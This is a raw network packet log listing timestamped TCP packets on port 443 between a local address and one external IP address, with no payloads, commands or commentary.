Aug 13, 2026 15:55:23.113646030 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113662004 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113672972 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113687992 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113703966 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113720894 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113733053 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113748074 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113763094 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113780022 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113795042 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113807917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113823891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113838911 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113838911 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113853931 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113854885 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113862038 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113877058 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113888025 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113895893 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113904953 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113919020 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113924026 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113933086 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113945961 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113950968 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113960028 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113976002 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113981962 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.113990068 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.113996983 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.114006042 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114021063 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114027023 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.114034891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114049911 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114065886 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114082098 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114094019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114109039 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114124060 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114137888 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114154100 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114167929 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114183903 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114197969 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114212990 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114228964 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114243984 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114258051 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114274979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114274979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114291906 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114301920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114319086 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114335060 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114347935 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114362955 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114378929 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114393950 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114409924 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114423037 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114438057 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114454031 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114469051 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114489079 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114500046 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114512920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114527941 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114545107 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114558935 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114573002 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114588022 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114603996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114619970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114634037 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114648104 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114665031 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114680052 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114692926 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114711046 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114722967 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114738941 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114753962 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114768028 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114783049 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114799023 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114813089 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114830017 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114844084 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114857912 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114872932 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114891052 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114903927 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114919901 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114933014 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114948034 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114964962 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114978075 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.114993095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115008116 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115022898 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115040064 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115053892 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115067959 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115083933 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115099907 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115113020 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115132093 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115144014 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115159035 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115175009 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115187883 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115202904 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115219116 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115232944 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115248919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115262985 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115278006 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115293980 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115309954 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115323067 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115340948 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115354061 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115367889 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115385056 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115397930 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115412951 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115427971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115447998 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115456104 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115473986 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115489006 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115504026 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115520000 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115533113 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115551949 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115562916 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115577936 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115593910 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115607977 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115623951 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115638018 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115654945 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115668058 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115683079 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115698099 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115714073 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115729094 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115742922 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115761042 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115772963 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115788937 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115803957 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115818024 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115833044 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115849018 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115864992 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115879059 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115892887 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115907907 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115923882 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115938902 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115955114 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115971088 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115983963 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.115999937 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116013050 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116029024 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116043091 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116058111 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116076946 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116087914 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116105080 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116122007 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116132975 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116152048 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116162062 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116187096 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116195917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116238117 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116252899 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116271019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116283894 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116297960 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116314888 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116328001 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116343021 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116359949 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116373062 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116391897 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116405964 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116420031 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116432905 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116447926 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116463900 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116480112 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116496086 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116507053 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116523981 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116539001 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116554022 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116569996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116583109 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116601944 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116612911 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116630077 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116643906 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116657972 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116672993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116688013 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116704941 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116719007 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116733074 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116748095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116764069 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116777897 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116792917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116811991 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116822004 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116839886 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116853952 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116868019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116883993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116899014 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116914988 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116928101 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116942883 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116959095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116975069 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.116988897 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.117002964 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.117022038 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.117033005 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.117049932 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.117049932 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157381058 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157752991 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157769918 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157782078 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157789946 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157800913 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157809973 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157819033 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157825947 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157835960 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157845020 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157851934 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157860041 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157867908 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157876968 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.157888889 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157908916 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157916069 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157933950 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157949924 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157962084 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157979012 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.157989979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158004045 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158015966 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158032894 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158040047 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158056021 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158068895 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158082962 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158093929 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158111095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158118963 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158133984 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158147097 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158159971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158174038 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158185005 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158199072 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158210993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158224106 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158240080 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158248901 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158265114 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158276081 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158289909 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158302069 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158329010 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158339977 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158354998 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158366919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158385992 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158391953 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158405066 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158417940 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158431053 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158442974 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158457041 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158471107 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158483028 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158495903 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158509016 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158521891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158538103 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158548117 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158562899 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158574104 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158586979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158598900 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158612967 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158624887 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158638954 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158651114 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158664942 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158677101 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158690929 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158704042 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158716917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158730030 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158746004 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158756018 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158768892 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158782005 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158796072 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158807993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158819914 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158833027 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158847094 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158859968 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158871889 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158885956 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158898115 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158915997 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158931971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158936977 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158952951 CEST	49164	443	192.168.0.58	138.124.70.84
